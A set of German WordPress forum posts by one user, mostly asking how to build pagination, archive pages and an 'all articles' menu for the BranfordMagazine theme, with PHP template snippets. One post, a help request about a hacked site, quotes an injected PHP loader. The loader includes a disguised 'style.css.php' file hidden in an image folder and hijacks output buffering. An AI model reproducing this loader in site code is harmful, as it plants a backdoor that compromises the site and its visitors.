Nein, benutze WP 2.6
Habe allerdings gerade auf 2.9.1 upgedated und nun erstmal alles wieder runtergeschmissen. Warte noch darauf, dass mir 1&1 zwei Dateien löscht, die sich verselbständigt haben und sich von mir nicht löschen lassen. Dann werde ich es noch einmal probieren WP 2.9.1 hochzuladen und die Datenbank wieder reinzuladen.
Hoffe dann auch diesen Hack rauszubekommen.
Was fürn Ärger
Beiträge von ddklog
-
-
Hallo zusammen,
mir ist aufgefallen, dass seit kurzer Zeit in sämtlichen PHP-Docs zu Beginn ein Text steht, der folgendermaßen beginnt:
Ich habe mir den Text auch dekodiert, kann ihn aber immer noch nicht verstehen. Ich stelle den Text hier anonymisiert rein:Codeif(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){$GLOBALS['mfsn']='/kunden/homepages/10/dxxxxx/htdocs/xxxx-blog/wordpress/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/style.css.php';if(file_exists($GLOBALS['mfsn'])){include_once($GLOBALS['mfsn']);if(function_exists('gml')&&function_exists('dgobh')){ob_start('dgobh');}}}Der Pfad, der hier angegeben ist, führt zu einem CSS.php-Dokument, das wiederum einen viel längeren eval(base64_decode...)-Text enthält, den ich bisher nicht dekodieren kann.
Interessanterweise sind in dem Ordner, in dem das Dokument liegt, lediglich gifs (ältere Back-Ups zeigen auch, dass es bis vor zwei Monaten tatsächlich nur gifs in diesem Ordner gab)
Ich würde mich freuen, wenn mir jemand erklären kann, was dieser Text bedeutet, ob das gefährlich ist und bspw. mit dem Plug-In "Antivirus für Wordpress" die Dateien wieder zu bereinigen sind? -
Zitat
Wäre nett wenn du schreiben würdest, welche Meldung da kommt.
Habe ich vergessen. Hier ist sie:ZitatFatal error: Call to undefined function: permalink() in /homepages/10/d117868913/htdocs/markentechnik-blog/wordpress/wp-content/themes/PRiNZ_BranfordMagazine_latest/branfordmagazine/blog-page.php on line 43
Habe die Unterstriche eingefügt und jetzt wird der Befehl korrekt dargestellt. Aber der Link funktioniert nicht richtig. Die URL hängt sich kurz ein "/?paged=1" an - das verschwindet dann aber gleich wieder und die selbe Seite wird wieder angezeigt.
Zur Kontrolle habe ich den Schnipsel noch mal angefügt:PHP<?php if ( !isset( $paged ) ) { echo '<a href="' . get_permalink(21) . '?paged=2">Nächste Seite</a>'; } else { echo '<a href="' . get_permalink(21) . '?paged=' . ($paged + 1) . '">Nächste Seite</a>'; } ?>
Ich habe den Eindruck, wir gelangen jetzt wieder an die Grenzen des Themes, oder täusche ich mich? -
Auf die Php-Tags bin ich grade auch gekommen. Jetzt zeigt er mir eine Fehlermeldung für Zeile 43:
sehe den Fehler aber nicht.Zitat(und in der 1. Zeile hatte ich ne Klammer vergessen)
Die hast du beim zweiten Mal auch nicht eingefügt und ich sehe nicht wo die fehlt:? -
Ok ich habe als ID 21 eingegeben. Aber irgndwas stimmt mit dem Code nicht. Auf der Seite steht unten mehr als erwartet, nämlich:
Zitatif ( !isset( $paged ) { echo 'Nächste Seite'; } else { echo 'Nächste Seite'; }
Und der Link (abgesehen davon, dass er zweimal dasteht, funktioniert auch nicht. Habe ich einen Fehler gemacht? oder mal wieder in Unkenntnis des großen Rests was nicht verstanden?
Danke -
Zitat
Ich weiß jetzt nicht, ob posts_nav_link() die korrekte URL zusammenbastelt,
Da hast du recht - es werden mir die selben Artikel noch einmal angezeigt auf einer Seite, die in der URL lediglich ein "page/2/" angehängt hat.Zitateventuell musst du dort selbst Hand anlegen und die korrekten "paged"-Parameter anhängen.
Ok, klingt logisch, aber:
Wo finde ich die Parameter?
Was muss ich da ändern?
Wird die Suchergebnis-Seite von diesen Änderungen dann auch betroffen sein und sich verändern?
Danke -
Hallo marX,
ich habe mir deinen Vorschlag jetzt eingehend betrachtet und daraus etwas gestrickt, was tatsächlich funktioniert. Deinen Vorschlag aus #35 habe ich folgendermaßen modifiziert und er zeigt mir tatsächlich alle Artikel an (vorausgesetzt die Anzahl der Artikel ist hoch genug eingestellt). Leider werden alle Artikel untereinander angezeigt und ich wollte fragen, wie ich die Anzahl der Artikel auf bspw. 15 beschränke und dann die Möglichkeit "Ältere Artikel" anzuklicken, bzw. "Neuere Artikel". Dafür gibt es doch sicherlich einen Befehl, oder?
Vielen Dank
Der Text lautet nun(leicht gekürzt um das wesentliche zu zeigen:PHP
Alles anzeigen<?php /* Template Name: blog */ ?> <?php get_header(); ?> <div id="content"> <h2 class="pagetitle"><?php _e('Neueste Artikel','branfordmagazine');?></h2> <?php query_posts('showposts=5250&cat=1,2,3,4,5,6,7,8,9,10,11,12'); ?> <?php while ( have_posts() ) : the_post(); ?> <div class="post"> <h4 id="post-<?php the_ID(); ?>"><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php __('Permanent Link to','branfordmagazine');?> <?php the_title(); ?>"><?php the_title(); ?></a></h4> </a> </div> <p> <div> <?php the_excerpt('', TRUE, '', 20); ?> </p> </div> <!-- Ausgabe des Artikels --> <?php endwhile; ?> <?php posts_nav_link() ?> </div> <?php get_sidebar() ?> <?php get_footer() ?> -
Vielen Dank erstmal für die Vorschläge!
Ich habe die durchgespielt, bin aber leider nicht zu einem Ergebnis gekommen, mit dem ich leben kann.Ich habe dann folgende Idee gehabt:
Wenn ich eine Suchanfrage mit einem Buchstaben mache, der in jedem Artikel vorkommt (bspw. "e") dann bekomme ich die Ansicht und die Inhalte, die ich benötige.
Unwissend, wie ich bin, dachte ich mir, ich dupliziere die Dokumente "search.php" und "searchform.php" und ändere sie so, dass die Anfrage anstatt mit "?s=xy" in der URL mit "?f=xy" durchgeführt wird. Habe die Dokumente auch umbenannt und hochgeladen und... es funktioniert nicht! Wahrscheinlich für die meisten von euch klar, warum. Ich verstehe es nicht, aber ich habe es akzeptiert - wahrscheinlich von WP vorkonfiguriert.
Aber die Idee verfolgt mich: Vielleicht kann mir ja einer dabei helfen! Ich möchte eine "Artikel-page.php" schreiben, in der ich den Ausgabe-Teil des "search.php" benutze. Ich würde das Skript dann gerne dahingehend verändern, dass in dem Skript bereits steht, dass es mir alle Artikel mit "e" anzeigt.PHP
Alles anzeigen?php get_header(); ?> <div id="content"> <?php if (have_posts()) : ?> <h2 class="pagetitle"><?php _e('Alle Artikel','branfordmagazine');?></h2> <?php while (have_posts()) : the_post(); ?> <div class="post"> <h4 id="post-<?php the_ID(); ?>"><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php __('Permanent Link to','branfordmagazine');?> <?php the_title(); ?>"><?php the_title(); ?></a></h4> <small><?php the_time(__ ('F jS, Y', 'branfordmagazine')) ?></small> <div class="entry"> <?php the_excerpt() ?> </div> <hr /><br /> </div> <?php endwhile; ?> <div class="navigation"> <div class="alignleft"><?php next_posts_link(__('Ältere Artikel','branfordmagazine')) ?></div> <div class="alignright"><?php previous_posts_link(__('Neuere Artikel','branfordmagazine')) ?></div> </div> <?php else : ?> <h2 class="center"><?php _e('Es konnte nichts gefunden. Probieren Sie es mit einem anderen Begriff','branfordmagazine');?></h2> <?php include (TEMPLATEPATH . '/searchform.php'); ?> <?php endif; ?> </div> <?php get_sidebar(); ?> <?php get_footer(); ?>Vielleicht weiß jemand von euch, wo ich das eintragen muss, bzw. wie das Skript zu verändern ist.
Grüße und vielen Dank
-
Zitat
Würde so was auch passen?
Danke für den Hinweis! Er entspricht leider nicht genau dem, was ich suche.
Das BranfordTheme zeichnet sich ja aus durch den tollen Magazin-Charakter. Ich möchte den Lesern allerdings die Möglichkeit geben, alle Artikel (nur Teaser-Text) in "normaler" Blogstruktur zu lesen. D.h. alle Artikel aus jeder Kategorie zeitlich sortiert untereinander.
marX:ZitatVielleichz kannst du ja auch selbst mal dort posten.
Das Forum ist im Moment nur im Lesemodus verfügbar.:cry:Ich gebe aber noch nicht auf!!
Aus der Sidebar habe ich mir mal einen Befehl kopiert, der mir alle Artikel einer Kategorie in der Ansicht generiert, in der ich alle Artikel gerne hätte. Das ist ein Link und ich denke, evtl. kann der modifiziert werden. Bspw. durch einfügen eines Befehls, dass alle Kategorien ausgewählt werden.
Hier ist der Link im Original:PHP<li><strong><a href="<?php echo get_category_link($category);?>" title="<?php _e('Alle Einträge ansehen aus','branfordmagazine');?> <?php echo $category->name; ?>"><?php _e('Archiv von','branfordmagazine');?> '<?php echo $category->name; ?>' »</a></strong></li>Ich habe jetzt folgendermaßen modifiziert:
PHP<li id="nav" class="clearfloat"> <a href="<?php echo get_category_link($category);?>" title="<?php _e('Alle Artikel');?>"> <?php _e('Alle Artikel','branfordmagazine');?></a></li>Leider findet er nichts! Er sagt: "Nothing Found"
Braucht man evtl. vorangegangenen Code aus der Sidebar?Für Hinweise bin ich sehr dankbar!
-
Zitat
Dann hast du den verlinkten FAQ-Artikel nicht richtig gelesen.
Hab ich schon gelesen, aber die Unterscheidung, mit der Startseite (statisch oder nicht) kannte ich einfach nicht!:roll:
Ich habe jetzt das gesamte Forum vom Prinzen durchgeforstet und keinen Beitrag gefunden, der mein Problem löst. Außer einen: WebMoritz.de
Da ist das Problem aber unschön gelöst.
Mittels eines interessanten Links und einer page.php (Turn a Wordpress Page into a Link - Milorad Ivovi?) habe ich es im Endeffekt geschafft mir ein Jahresarchiv anzeigen zu lassen. Damit bin ich aber nicht zufrieden:evil:
Ich denke, dass das nicht so schwer sein kann eine page.php selbst zu schreiben. Ich versuche dabei die Optionen, die mir die Archives.php des Themes gibt nach dem geheimen Befehl zu durchsuchen - es könnte allerdings sein, dass meine Vorstellung darin garnicht angeboten wirdZitatOder "alle, davon jeweils X je Seite"? Das wäre ja das normale Blog, richtig.
Genau so!
ZitatWarum nutzt du das dann nicht?
Weil ich eben den Befehl dafür nicht kenne, dass es mir die Seite so gestaltet.
Ich habe jetzt folgendermaßen angefangen:PHP
Alles anzeigen<?php /* Template Name: blog */ ?> <?php get_header(); ?> <div id="content"> <h2><?php __('Archives by Subject:','branfordmagazine'); ?></h2> <ul> <?php wp_get_archives(); ?> </ul> </div> <?php get_sidebar(); ?> <?php get_footer(); ?>
Dann zeigt es mir aber nur die Monate, die ich nochmals anklicken müsste. Und mein Archives.php zeigt mir die Optionen in diesen merkwürdigen Schleifen If/Else - aber ich möchte ja nur eine Option daraus - wenn (s.o.) es die da so überhaupt gibt.
Das Archives.php sieht auf jeden Fall so aus:PHP
Alles anzeigen<div id="content"> <?php is_tag(); ?> <?php if (have_posts()) : ?> <?php $post = $posts[0]; // Hack. Set $post so that the_date() works. ?> <?php /* If this is a category archive */ if (is_category()) { ?> <h2 class="pagetitle"><?printf( __('%s','branfordmagazine'), single_cat_title('', false)); ?></h2> <?php /* If this is a tag archive */ } elseif( is_tag() ) { ?> <h2 class="pagetitle"> <?php _e('Posts Tagged','branfordmagazine'); ?> ‘ <?php single_tag_title(); ?> ’</h2> <?php /* If this is a daily archive */ } elseif (is_day()) { ?> <h2 class="pagetitle"><?printf( __('Archive for %s','branfordmagazine'), get_the_time(__('F jS, Y','branfordmagazine'))); ?></h2> <?php /* If this is a monthly archive */ } elseif (is_month()) { ?> <h2 class="pagetitle"><?printf( __('Archive for %s','branfordmagazine'), get_the_time(__('F Y','branfordmagazine'))); ?></h2> <?php /* If this is a yearly archive */ } elseif (is_year()) { ?> <h2 class="pagetitle"><?printf( __('Archive for %s','branfordmagazine'), get_the_time('Y')); ?></h2> <?php /* If this is a search */ } elseif (is_search()) { ?> <h2 class="pagetitle"> <?php __('Search Results','branfordmagazine'); ?> </h2> <?php /* If this is an author archive */ } elseif (is_author()) { ?> <h2 class="pagetitle"> <?php _e('All entries by this author','branfordmagazine'); ?> </h2> <?php /* If this is a paged archive */ } elseif (isset($_GET['paged']) && !empty($_GET['paged'])) { ?> <h2 class="pagetitle"> <?php _e('Blog Archives','branfordmagazine'); ?> </h2> <?php } ?> <div class="navigation"> <div class="alignleft"> <?php next_posts_link(__('Previous entries','branfordmagazine')) ?> </div> <div class="alignright"> <?php previous_posts_link(__('Next entries','branfordmagazine')) ?> </div> </div> <?php while (have_posts()) : the_post(); ?> <div class="post"> <h4 id="post-<?php the_ID(); ?>"><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php __('Permanent Link to','branfordmagazine');?> <?php the_title(); ?>"> <?php the_title(); ?> </a></h4> <small> <?php the_time(__('M jS, Y','branfordmagazine')); ?> | <?php _e('By','branfordmagazine');?> <?php the_author_posts_link('namefl'); ?> | <?php _e('Category:','branfordmagazine');?> <?php the_category(', ') ?> <?php edit_post_link('Edit', ' | ', ''); ?> </small> <div class="entry"> <?php the_excerpt() ?> </div> <p class="postmetadata"> <?php the_tags('Tags: ', ', ', '<br />'); ?> <?php _e('Posted in','branfordmagazine');?> <?php the_category(', '); ?> | <?php comments_popup_link(__ ('No Comments »', 'branfordmagazine'), __ ('1 Comment »', 'branfordmagazine'), __ngettext ('% comment', '% comments', get_comments_number (),'branfordmagazine')); ?> </p> <hr /> <br /> </div> <?php endwhile; ?> <div class="navigation"> <div class="alignleft"> <?php next_posts_link(__('Previous entries','branfordmagazine')) ?> </div> <div class="alignright"> <?php previous_posts_link(__('Next entries','branfordmagazine')) ?> </div> </div> <?php else : ?> <h2 class="center"> <?php __('Not Found','branfordmagazine') ?> </h2>
Vielleicht kannst du mir ja anmarkern was davon für mich relevant ist?!:confused:
Es kann doch nicht sein, dass ich eine so komische Idee habe, auf die noch keiner vor mir gekommen ist, oder?
Und bei meiner Lektüre der vielen Forumposts habe ich eines gelernt: Es geht (scheinbar) alles!Nur wie?
Danke -
Letzte Artikel, wieso?
-
Zitat
Aber erstmal vorneweg: verwendest du überhaupt eine statische Startseite? Sonst ist der Tipp natürlich so nicht umsetzbar.
Ich schick dir jetzt mal den Link zu dem Blog.
Eine statische Startseite würde ich das nicht nennen - die ist voll von dynamischen Bestandteilen. Vielleicht klären wir das, bevor wir entschließen wie man zum Ziel kommt.:)
Demnächst: markentechnik-blog.de
Thanks -
Zitat
Hast du dir in der Doku mal angeschaut, was wp_get_archives() zurück liefert? Keinen Link auf das Archiv jedenfalls!
da hast du mich voll erwischt! Ich baue die Befehle eben da ein, wo sie mir plausibel erscheinen:?ZitatWie gesagt, schau dir mal o.g. FAQ-Artikel an. Ich denke das ist das was du suchst.
Habe ich mir angeschaut und das klappt nicht.
Warum?ZitatDas Template für diese "Seite" ist dann die home.php
So was wie eine home.php existiert nicht. Ich habe nur Archives.php; categories-page; standardtemplate, etc., die ich auswählen kann - und die habe ich alle ausprobiert. -
Danke für deine Antwort!
Ich habe jetzt folgenden Code für mein Archiv generiert und bekomme die Meldung "Nothing Found". Zusätzlich ist URL wahnsinnig lang und zeigt mir, dass ich da noch einen Fehler im Code habe.
Zitat"Alle" im Sinne von "alle auf einer Seite"? Oder "alle, davon jeweils X je Seite"? Das wäre ja das normale Blog, richtig
Ich denke, so 15 Artikel je Seite sind ok!Hier mein Code aus der Header-Datei:
PHP
Alles anzeigen<ul id="nav" class="clearfloat"> <li><a href="<?php echo get_option('home'); ?>/" class="on">Home</a> </li> <li id="nav" class="clearfloat"> <a href="<?php wp_get_archives('postbypost', '15'); ?>/" >Alle Artikel</a> </li> <?php wp_list_pages('title_li=&include=21'); ?> <li id="nav" class="clearfloat"> <a href="#">Kategorien</a> <ul><?php wp_list_categories('orderby=order&hide_empty=1&title_li=&exclude=1,3'); ?></ul> </li> <?php wp_list_pages('title_li=&exclude=21'); ?> </ul>Danke
-
Blödsinns Frage!
Hab schon gemerkt, wo ich das finde!
Nichts für ungut!
-
Super! Das hat auch geklappt.
Analog für diese Stelle bastel ich gerade an dem Menupunkt "Alle Artikel". Ich versuche hier eigentlich, dass mir da alle (ohne Einschränkung alle) Artikel mit kurzer Textvorschau in chronologischer Reihenfolge gezeigt werden - was ja eigentlich dem klassischen Blog entspricht. Ich hab folgendes probiert:
PHP
Alles anzeigen</div> <ul id="nav" class="clearfloat"> <li><a href="<?php echo get_option('home'); ?>/" class="on">Home</a></li> <li id="nav" class="clearfloat"> <a href="<?php echo get_archives('paged'); ?>Alle Artikel</a></li> <?php wp_list_pages('title_li=&include=21'); ?> <li id="nav" class="clearfloat"> <a href="#">Kategorien</a> <ul><?php wp_list_categories('orderby=order&hide_empty=1&title_li=&exclude=1,3'); ?></ul> </li> <?php wp_list_pages('title_li=&exclude=21'); ?> </ul>
Aber hier findet er gar nichts mehr. Ich hab den "paged"-Befehl aus dem Archive.php-Dokument.
alternativ habe ich mir gedacht, dass ich nur mein Archives.php-dokument umstricken müsste. Der Text ist sehr kurz und vielleicht weiss ja jemand wie das geht oder welcher der beiden Wege einfacher ist?
Hier ist er:PHP
Alles anzeigen<?php /* Template Name: Archives */ ?> <?php get_header(); ?> <div id="content"> <?php include (TEMPLATEPATH . '/searchform.php'); ?> <h2><?php __('Archives by Month:','branfordmagazine'); ?></h2> <ul> <?php wp_get_archives('type=monthly'); ?> </ul> <h2><?php __('Archives by Subject:','branfordmagazine'); ?></h2> <ul> <?php wp_list_categories(); ?> </ul> </div> <?php get_sidebar(); ?> <?php get_footer(); ?>danke
-
Was ist die ID der vorherigen Seite? Also wo finde ich die?
-
Habe jetzt das Problem mit der Formatierung in den Griff bekommen. Siehe Code. Aber wegen der Reihenfolge weiß ich echt nicht weiter.
PHP<div class="right"></div> </div> <ul id="nav" class="clearfloat"> <li><a href="<?php echo get_option('home'); ?>/" class="on">Home</a></li> <li> <a /" class="nav">Kategorien </a> <ul><?php wp_list_categories('orderby=order&hide_empty=1&title_li=&exclude=1,3'); ?></ul> </li>
Danke -
Das ist ja unglaublich!
Ich habe jetzt den Code noch erweitert damit er mir die Reihenfolge so anzeigt, wie ich das auch in der Sidebar gestaltet habe.
Was ich jedoch nicht checke:
1. Die Formatierung, die im nav.css festgelegt wurde, übernimmt er mir hier jedoch nicht!? Wieso, verstehe ich nicht, da er "Home", das ja auch explizit im Code steht, auch so formatiert wird!
2. Wie kann ich ihm "sagen", dass ich "Kategorien" erst an 3. Stelle haben möchte?
Der Code sieht jetzt folgendermaßen aus:PHP
Alles anzeigen<div class="right"></div> </div> <ul id="nav" class="clearfloat"> <li><a href="<?php echo get_option('home'); ?>/" class="on">Home</a></li> <li id="nav" class="clearfloat"> Kategorien <ul><?php wp_list_categories('orderby=order&hide_empty=1&title_li=&exclude=1,3'); ?></ul> </li> <?php wp_list_pages('title_li='); ?> </ul>Vielen Dank nochmals
-